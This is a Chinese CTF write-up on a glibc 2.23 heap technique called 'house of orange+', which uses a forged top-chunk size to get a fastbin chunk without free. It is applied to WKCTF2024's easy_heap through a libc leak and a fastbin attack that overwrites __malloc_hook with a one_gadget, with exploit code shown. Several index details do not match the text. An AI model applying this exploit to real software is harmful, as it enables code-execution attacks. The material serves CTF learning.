长亭百川云 - 文章详情

House of orange的进一步利用(house of orange+)

看雪学苑

48

2024-07-21

在最近的WKCTF2024中,遇到了一道简单题目easy_heap。但是偶然间发现在以下条件满足时的一种利用方法:

1.不能释放chunk(无free)。

2.可以申请、编辑和输出多个chunk(add, edit, show)。

3.存在堆溢出。

在此情况下,可以通过house of orange的进一步利用。这里简记为house of range+。

一  

  

原理概述

在house of orange中,我们经常利用修改topchunk的大小来获得一个unsorted bin,本质上是触发了_int_malloc在use_top段调用的sysmalloc:

use\_top:  
    victim = av->top;  
    size = chunksize (victim);  
  
    /\*如果可以,就切割topchunk,返回被切下的chunk\*/  
    if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) {...}  
  
    /\* 如果topchunk大小不足,则尝试触发malloc\_consolidate,合并fastbin \*/  
    else if (have\_fastchunks (av)) {...}  
  
    /\*如果上述情况都不满足需求,则触发sysmalloc\*/  
    else  
    {  
        void \*p = sysmalloc (nb, av);  
        if (p != NULL)  
        alloc\_perturb (p, bytes);  
        return p;  
    }

这是sysmalloc中对旧的topchunk的处理:

if (old\_size >= MINSIZE)  
{  
    set\_head (chunk\_at\_offset (old\_top, old\_size), (2 \* SIZE\_SZ) | PREV\_INUSE);  
    set\_foot (chunk\_at\_offset (old\_top, old\_size), (2 \* SIZE\_SZ));  
    set\_head (old\_top, old\_size | PREV\_INUSE | NON\_MAIN\_ARENA);  
    \_int\_free (av, old\_top, 1); //将old\_top释放  
}

这里本质上就是释放一个大小为old_top的chunk,如果我们通过构造topchunk的大小,让其小于等于0xa0,那么就可以让old_top置入0x80大小的fastbin中。而后可以继续基于fastbin的攻击,如fastbin attack。

这里分析的是对应题目环境的glibc版本,版本为2.23。但是这个方法在高版本中仍然可用,被释放的old_top满足条件的话会进入tcache。

house of orange+可以在没有free而且要求不太严格的情况下快速构造攻击payload。

二  

  

例题:WKCTF2024 easy\_heap

静态分析

题目只有add, show, edit三个选项:

而且edit中存在任意长度溢出:

而且show中只显示chunk的前8个字节:

由于没有free,可以先利用house of orange构造unsorted bin,泄露libc地址;然后考虑上文介绍的方法,构造进入fastbin的chunk,打fastbin attack。

泄露libc

先构造unsorted bin,这里由于题目远程环境不稳定,不能接收过长的payload,所以透过申请多个chunk来控制topchunk的大小。

add(0xbf0, b'a')#0  
add(0x078, b'a')#1  
edit(1, 0x78 + 8, flat(cyclic(0x78), 0x381), False)  
  
add(0x3f0, b'a')#2

这里我们切割unsorted bin中的chunk,泄露libc。

add(0x208, b'')#3  
  
show(3)  
libc.address = u64(c.recvuntil(b'\\0\\0')\[-8:\]) - 0x3c4e0a  
success(f"libcbase = {hex(libc.address)}")


构造fastbin

接下来我们控制topchunksize
的低12位为0x091。

add(0x7f0, b'a')#4  
add(0x360, b'a')#5

然后修改topchunk的大小为0x90,触发_int_free将old_top置入fastbin。

edit(5, 0x360 + 0x10 + 8, flat(cyclic(0x368), 0x91))  
add(0x460, b'a')#6

这样我们就得到了一个fastbin。

fastbin attack

可以通过chunk6的溢出打fastbin attack:

edit(5, 0x360 + 0x18, flat(cyclic(0x368), 0x71, libc.sym\['\_\_malloc\_hook'\]-0x23), False)  
add(0x68, b'a')#11  
ogg = libc.address + 0xf1247  
  
add(0x68, b'a'\*0x13 + p64(ogg))#12 -> &\_\_malloc\_hook - 0x13  
  
cmd(1)  
c.sendline(b'10')  
c.interactive()

===

三  

  

总结

虽然有很多别的方法可以利用,但house of orange+可以更方便快速地找到攻击payload。

看雪ID:JnamerZ

https://bbs.kanxue.com/user-home-1002226.htm

*本文为看雪论坛优秀文章,由 JnamerZ 原创,转载请注明来自看雪社区



# 往期推荐

1、Alt-Tab Terminator注册算法逆向

2、恶意木马历险记

3、VMP源码分析:反调试与绕过方法

4、Chrome V8 issue 1486342浅析

5、Cython逆向-语言特性分析

球分享

球点赞

球在看

点击阅读原文查看更多

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2